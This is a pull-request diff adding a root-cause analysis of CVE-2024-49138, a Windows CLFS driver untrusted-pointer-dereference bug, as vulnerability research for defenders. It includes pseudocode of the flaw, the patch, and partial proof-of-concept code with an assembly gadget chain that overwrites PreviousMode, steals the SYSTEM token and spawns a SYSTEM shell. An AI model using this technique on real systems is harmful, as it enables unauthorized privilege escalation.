Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
372 changes: 372 additions & 0 deletions 0day-RCAs/2024/CVE-2024-49138.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,372 @@
# CVE-2024-49138: Windows Common Log File System Driver Elevation of Privilege Vulnerability
*Ong How Chong (STAR Labs SG Pte. Ltd.)*

## The Basics

**Disclosure or Patch Date:** December 10, 2024

**Product:** Windows

**Advisory:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138

**Affected Versions:** Before security updates of December 10, 2024, for Windows 10, 11 and Windows Server 2008, 2012, 2016, 2019, 2022, 2025

**First Patched Version:** Security updates of December 10, 2024, for CVE-2024-49138

**Issue/Bug Report:** N/A

**Patch CL:** N/A

**Bug-Introducing CL:** N/A

**Reporter(s):** Advanced Research Team with CrowdStrike

## The Code

**Proof-of-concept:** https://github.com/MrAle98/CVE-2024-49138-POC

**Exploit sample:** See PoC

**Did you have access to the exploit sample when doing the analysis?** Yes

## The Vulnerability

**Bug class:** Untrusted Pointer Dereference (CWE-822)

**Vulnerability details:** CVE-2024-49138 is a logical vulnerability within the Windows Common Log File System kernel driver that occurs when processing maliciously formatted log files. This will eventually lead to an untrusted pointer dereference by the kernel. An attacker is able to modify the pointer such that the execution flow of the kernel will be redirected to a user controlled address.

The Windows Common Log File System (CLFS) uses Base Log Files (BLF) and Container files for storing log information. BLFs hold all the important metadata relating to the log file while Containers hold the actual log data.

The untrusted pointer dereference can be found in the function `CClfsBaseFilePersisted::LoadContainerQ()`, where `pContainer` is a variable that can be indirectly manipulated and dereferenced.

```
CClfsBaseFilePersisted::LoadContainerQ(){
...
return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
...
if ( return_value < 0 )
goto LABEL_116;
...
LABEL_116:
ContainerContext->pContainer->Release(ContainerContext->pContainer); //pContainer dereference
}
```

In order for `pContainer` dereference to be reached, `CClfsBaseFilePersisted::FlushImage()` would have to return a negative value, or an error code. Provided is the pseudocode for the relevant functions.

```
CClfsBaseFilePersisted::FlushImage(PERESOURCE *this){
...
return_value = CClfsBaseFilePersisted::WriteMetadataBlock(...);
return return_value;
}
```

```
CClfsBaseFilePersisted::WriteMetadataBlock(...){
...
++ullDumpCount;
if (ullDumpCount & 1){ //if ullDumpCount is odd
++Usn;
}
...
return_value = ClfsEncodeBlock(...)
if (return_value >= 0){ //if ClfsEncodeBlock returns success
ClfsEncodeBlockSuccess = 1;
}
...
if (ClfsEncodeBlockSuccess){
return_value_2 = ClfsDecodeBlock(...);
if (return_value_2 < 0){ //if ClfsDecodeBlock returned error
ReleaseMetadataBlock(...);
return return_value_2;
}
}
...
return return_value;
}
```

In order to dereference `pContainer`, you would need to have `ClfsEncodeBlock()` succeed and `ClfsDecodeBlock()` fail. `ClfsEncodeBlock()` succeeding would let us modify the value stored inside of `pContainer`, while `ClfsDecodeBlock()` failing would return an error code, which is necessary to reach the code in `CClfsBaseFilePersisted::LoadContainerQ()` that dereferences `pContainer`.

A BLF is split into multiple sectors of fixed size 512 bytes, and each of these sectors have a 2 byte signature located at the end. This signature is checked and manipulated by both `ClfsEncodeBlock()` and `ClfsDecodeBlock()`, and is critical for triggering this vulnerability.

To make `ClfsDecodeBlock()` fail after `ClfsEncodeBlock()` succeeds, an attacker would prepare the BLF such that there are 2 overlapping header sections:
* A sector signature and `pContainer` overlap.
* A sector signature and the `signatures array` overlap.

We also need to ensure that `ullDumpCount`, a value found in the BLF header, is an odd value as we want `Usn` to be incremented in `CClfsBaseFilePersisted::WriteMetadataBlock()`. `Usn` will then be used in `ClfsEncodeBlock()` to calculate a new sector signature.

`ClfsEncodeBlock()` calls `ClfsEncodeBlockPrivate()`.

```
ClfsEncodeBlockPrivate(...){
if ( size or offsets are wrong ){ //preliminary checks
return ErrorCode;
}

SectorNumber = 0;
while (SectorNumber < TotalSectors){
//calculate new sector signature
...

SectorSigOffset = SectorNumber << 9; //SectorNumber * 512 (size of sector)
*SignaturesArray = *(SectorSigOffset + 2); //store old signature
SignaturesArray += 2; //move to next entry in SignaturesArray
*(SectorSigOffset + 2) = NewSig //write new signature
SectorNumber++;
}
}
```
ClfsEncodeBlockPrivate() logic:
* `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()` does preliminary checks that various fields in the BLF are valid.
* Loops over every 2 data bytes located at sector signature locations and copies them into the `signatures array` located at `SignaturesOffset`, then calculates and writes a signature value into the sector signature location (going from low address to high address).

As an example, take a malicious BLF which has a `ullDumpCount` value of 2 and a `Usn` value of 1. Following the sector signature format of `[Sector Block Type][Usn]`, each sector of this BLF would have a sector signature of `0x10 0x01` (except for the first and last sector in a block, which have [extra flags](https://github.com/ionescu007/clfs-docs?tab=readme-ov-file#sector-signatures)).
* `WriteMetadataBlock()` will increment both `ullDumpCount` and `Usn` by 1 before jumping to `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()`.
* `ClfsEncodeBlockPrivate()` would calculate the new sector signature as `0x10 0x02`, following the sector signature format.
* Each sector would have its two data bytes from the signature slot copied into the `signatures array` located at `SignaturesOffset`, and its new sector signature value of `0x10 0x02` be written to the sector signature. However, due to the overlapping header sections that are present in the maliciou BLF, when `ClfsEncodeBlockPrivate()` stores the original data into the `signatures array`, it will overwrite the new sector signataure value of that sector.
* When `ClfsEncodeBlockPrivate()` iterates over the sectors, the following sequence happens:
*Update signatures of sector 0 to 9 (not important)
*Update signature of sector 10. Part of pContainer gets corrupted with 0x10 0x02
*Update signature of sector 11. `signature_array[59]` gets overwritten with 0x10 0x02 (but not important because another overwrite will happen in later step).
*Update signatures of sector 10 to 58 (not important)
*Update signature of sector 59. The original bytes of signature slot in sector 59 (0x10 0x01) are placed in `signature_array[59]`, (with overlaps with signature slot of sector[11] !). Signature of sector 59 is set to 0x10 0x02.
*Update signatures of sector 60 to 61 (not important)
* After the full execution of the function `ClfsEncodeBlock()`:
* Part of `pContainer` will be overwritten by a sector signature, turning it into a user space address.
* The sector signature of the sector containing the `signatures array` will be invalid, thus causing `ClfsDecodeBlock()` to fail.

`ClfsDecodeBlock()` calls `ClfsDecodeBlockPrivate()`.

```
ClfsDecodeBlockPrivate(...){
if ( size or offsets are wrong ){ //preliminary checks
return ErrorCode;
}
...
SectorNumber = TotalSectors;
while (1){
SectorNumber--;
SectorSigOffset = SectorNumber << 9; //SectorNumber * 512 (size of sector)
...
if ( SectorSignature at SectorSigOffset [Usn] is wrong ){
return ErrorCode;
}
if ( SectorSignature at SectorSigOffset [Sector Block Type] is wrong ){
return ErrorCode;
}
...
//Move old contents from SignaturesArray back to original
*(SectorSigOffset + 2) = *&SignaturesArray[2 * SectorNumber];
...
if (SectorNumber == 0){ //return success if no more sectors to check
return SuccessCode;
}
}
}
```
ClfsDecodeBlockPrivate() logic:

* `ClfsDecodeBlock()` and `ClfsDecodeBlockPrivate()` does preliminary checks that various fields in the BLF are valid.
* It loops over all the sector signatures and compares them against the expected value (going from high address to low address).
* If there are no errors after the checks, the sector signatures are replaced with the content in the `signatures array`, restoring the original sector signature value.
* If there are errors, it stops execution and returns an error code.
* Thus, with the malicious BLF, an error will be thrown as the sector signature of where the signature array is located is invalid.

With this, an error code is returned all the way up to `LoadContainerQ()`, and we are able to dereference `pContainer`, which would contain a user controlled address.

**Patch analysis:**

Before the patch:
```
CClfsBaseFilePersisted::LoadContainerQ(){
...
return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
...
if ( return_value < 0 )
goto LABEL_116;
...
LABEL_116:
ContainerContext->pContainer->Release(ContainerContext->pContainer); //pContainer dereference
}
```

After the patch:
```
CClfsBaseFilePersisted::LoadContainerQ(){
...
if (patch_flag)
v58 = ContainerContext->pContainer; //saves pContainer here
...
return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
...
if ( return_value < 0 )
goto LABEL_116;
}
...
LABEL_116:
v58->Release(v58); //safe pContainer dereference
```

After the patch, the address of `pContainer` is saved into `v58` before `CClfsBaseFilePersisted::FlushImage()` is called, and subsequently loaded before it is dereferenced. Thus, `pContainer` can no longer be tampered with before it is dereferenced.

**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** The CLFS driver had been patched for Elevation of Privilege vulnerabilities numerous times over the years. Additionally, the reporter of this CVE was Crowdstrike, who detected the vulnerability actively exploited by threat actors. There is a good chance that this was developed by threat actors who understand that the CLFS driver has many vectors to exploit as seen from past patches.

**(Historical/present/future) context of bug:**

* 10 December, 2024: CVE-2024-49138 is patched and publicly disclosed.
* 29 January, 2025: Alessandro Iandoli publishes a detailed writeup and POC for CVE-2024-49138.

## The Exploit

(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)

**Exploit strategy (or strategies):** Modify `pContainer` so that the kernel will dereference it and call a chosen kernel function from a usermode vtable.

`CClfsBaseFilePersisted::LoadContainerQ()`, which contains the code that dereferences `pContainer`, can be reached by calling the user exposed Common Log File System (CLFS) API `CreateLogFile()`.

**Exploit flow:**

--- POC execution ---
* Create and load malicious BLF file.
* Create a fake `CClfsContainer` object at a user controlled address with a fake vtable that points to the address of `nt!PoFxProcessorNotification`.
* Write additional data in the memory region allocated to the fake `CClfsContainer` object such as the address of `nt!DbgkpTriageDumpRestoreState` and the address of `_KTHREAD.PreviousMode` of the current thread.
* Call `CreateLogFile()` which opens the malicious BLF file.

--- Driver execution ---
* Doing the above dereferences the malicious `CClfsContainer` object at a user controlled address.
* This calls `nt!PoFxProcessorNotification` which redirects the execution flow to `nt!DbgkpTriageDumpRestoreState` which is used to obtain arbitrary 8 byte write.
* Use this primitive to overwrite the `_KTHREAD.PreviousMode` of the current thread to 0 (kernelmode), granting us arbitrary read/write primitives to the whole address space using NtReadVirtualMemory() and NtWriteVirtualMemory().

--- POC execution ---
* POC can now read and copy the system `_EPROCESS.Token` using a series of call to `NtReadVirtualMemory()/NtWriteVirtualMemory()` and plant it into our current process, giving our user mode POC the same privileges as the system process.
* Spawn a cmd shell with system privileges.

In depth analysis of the kernel functions exploit has been performed and documented below.
POC code:
```
...
pcclfscontainer = VirtualAlloc(0x2100000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memset(pcclfscontainer, 0, 0x1000);

vtable = pcclfscontainer + 0x100;
rcx = pcclfscontainer; //0x2100000

*(rcx + 0x40) = pcclfscontainer + 0x200;
*(pcclfscontainer + 0x200 + 0x68) = KernelBase + offset_nt!DbgkpTriageDumpRestoreState;

//location of arguments to pass to nt!DbgkpTriageDumpRestoreState
*(rcx + 0x48) = pcclfscontainer + 0x300;
arg_nt!DbgkpTriageDumpRestoreState = pcclfscontainer + 0x300;

//address of arbitrary write of nt!DbgkpTriageDumpRestoreState. It writes at offset 0x2078
*(arg_nt!DbgkpTriageDumpRestoreState) = AddressOfUserThread + offset_KTHREAD.PreviousMode - 0x2078;

//value of arbitrary write of nt!DbgkpTriageDumpRestoreState
*(arg_nt!DbgkpTriageDumpRestoreState + 0x10) = 0x0; //KernelMode

//[1] is the offset of the Release() function found in the vtable pointed to by pContainer
vtable[1] = KernelBase + offset_nt!PoFxProcessorNotification;
*pcclfscontainer = vtable;

//trigger vulnerability after preparing addresses
logHndl = CreateLogFile(logFileName.c_str(),
GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
0);
...
//swap user process _EPROCESS.Token with system process
//restore _KTHREAD.PreviousMode to UserMode
//spawn system cmd shell
```

CClfsBaseFilePersisted::LoadContainerQ():
```
...
mov rcx, [rdi+18h] //moves pContainer value into rcx (0x2100000)
mov rax, [rcx] //moves vtable value into rax
mov rax, [rax+8] //moves address of nt!PoFxProcessorNotification into rax
call cs:__guard_dispatch_icall_fptr
...
jmp rax //jump to nt!PoFxProcessorNotification
...
```

nt!PoFxProcessorNotification:

At this point, `rcx` would contain the value of `pContainer`, in this case 0x2100000.
```
...
mov rax, qword ptr [rcx+40h] //moves (pcclfscontainer + 0x200) into rax
mov rax, qword ptr [rax+68h] //moves (kernel address + nt!DbgkpTriageDumpRestoreState offset) into rax
mov rcx, qword ptr [rcx+48h] //moves start address of arguments into rcx
call cs:__guard_dispatch_icall_fptr
...
jmp rax //jump to nt!DbgkpTriageDumpRestoreState
...
```

nt!DbgkpTriageDumpRestoreState:

At this point, `rcx` contains the address of the arguments being passed.
```
...
DbgkpTriageDumpRestoreState proc near
mov eax, [rcx+0Ch]
mov rdx, [rcx] //rdx is (AddressOfUserThread + offset_KTHREAD.PreviousMode - 0x2078)
mov [rcx+18h], eax
mov eax, [rcx+10h] //eax is first 4 bytes of arbitrary write value
mov [rdx+2078h], eax //write to (AddressOfUserThread + offset_KTHREAD.PreviousMode)
mov rdx, [rcx]
mov eax, [rcx+14h] //eax is next 4 bytes of arbitrary write value
mov [rdx+207Ch], eax //write to (AddressOfUserThread + offset_KTHREAD.PreviousMode + 4h)
retn
DbgkpTriageDumpRestoreState endp
...
```

**Known cases of the same exploit flow:** There have been other exploits that all have the end-goal of being able to read and copy the systems `_EPROCESS.Token`, thus leading to elevation of privilege.

**Part of an exploit chain?** Was used standalone to elevate privileges on a Windows machine.

## The Next Steps

### Variant analysis

**Areas/approach for variant analysis (and why):** N/A

**Found variants:** N/A

### Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

**Ideas to kill the bug class:**

* There is an official blog post by Microsoft suggesting various mitigations for the Common Log Filesystem (CLFS) [found here](https://techcommunity.microsoft.com/blog/microsoft-security-blog/security-mitigation-for-the-common-log-filesystem-clfs/4224041).
* Supervisor Mode Access Prevention (SMAP) would kill the usermode dereference, but has been discarded on Windows as [seen here](https://github.com/microsoft/MSRC-Security-Research/blob/master/papers/2020/Evaluating%20the%20feasibility%20of%20enabling%20SMAP%20for%20the%20Windows%20kernel.pdf).
* Leaks via NtQuerySystemInformation from medium IL no longer works on Windows 11 24H2.
* Overwriting Previousmode no longer works on Windows 11 24H2.

**Ideas to mitigate the exploit flow:** N/A
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SMAP would kill the usermode dereference, but has been discarded on Windows (https://github.com/microsoft/MSRC-Security-Research/blob/master/papers/2020/Evaluating%20the%20feasibility%20of%20enabling%20SMAP%20for%20the%20Windows%20kernel.pdf)

The leaks via NtQuerySystemInformation from medium IL are killed on Windows 11 24H2.

Overwriting Previousmode should also not work anymore on Windows 11 24H2.

See "Limitations and improvements" at https://security.humanativaspa.it/cve-2024-49138-windows-clfs-heap-based-buffer-overflow-analysis-part-1/


**Other potential improvements:** N/A

### 0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**?

* Dropping and modifying BLF files
* Spawning cmd.exe as SYSTEM
* Monitoring suspicious API calls such as NtQuerySystemInformation

## Other References
* https://github.com/ionescu007/clfs-docs
* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138
* https://security.humanativaspa.it/cve-2024-49138-windows-clfs-heap-based-buffer-overflow-analysis-part-1/
* https://github.com/MrAle98/CVE-2024-49138-POC
* https://www.zerodayinitiative.com/blog/2024/12/10/the-december-2024-security-update-review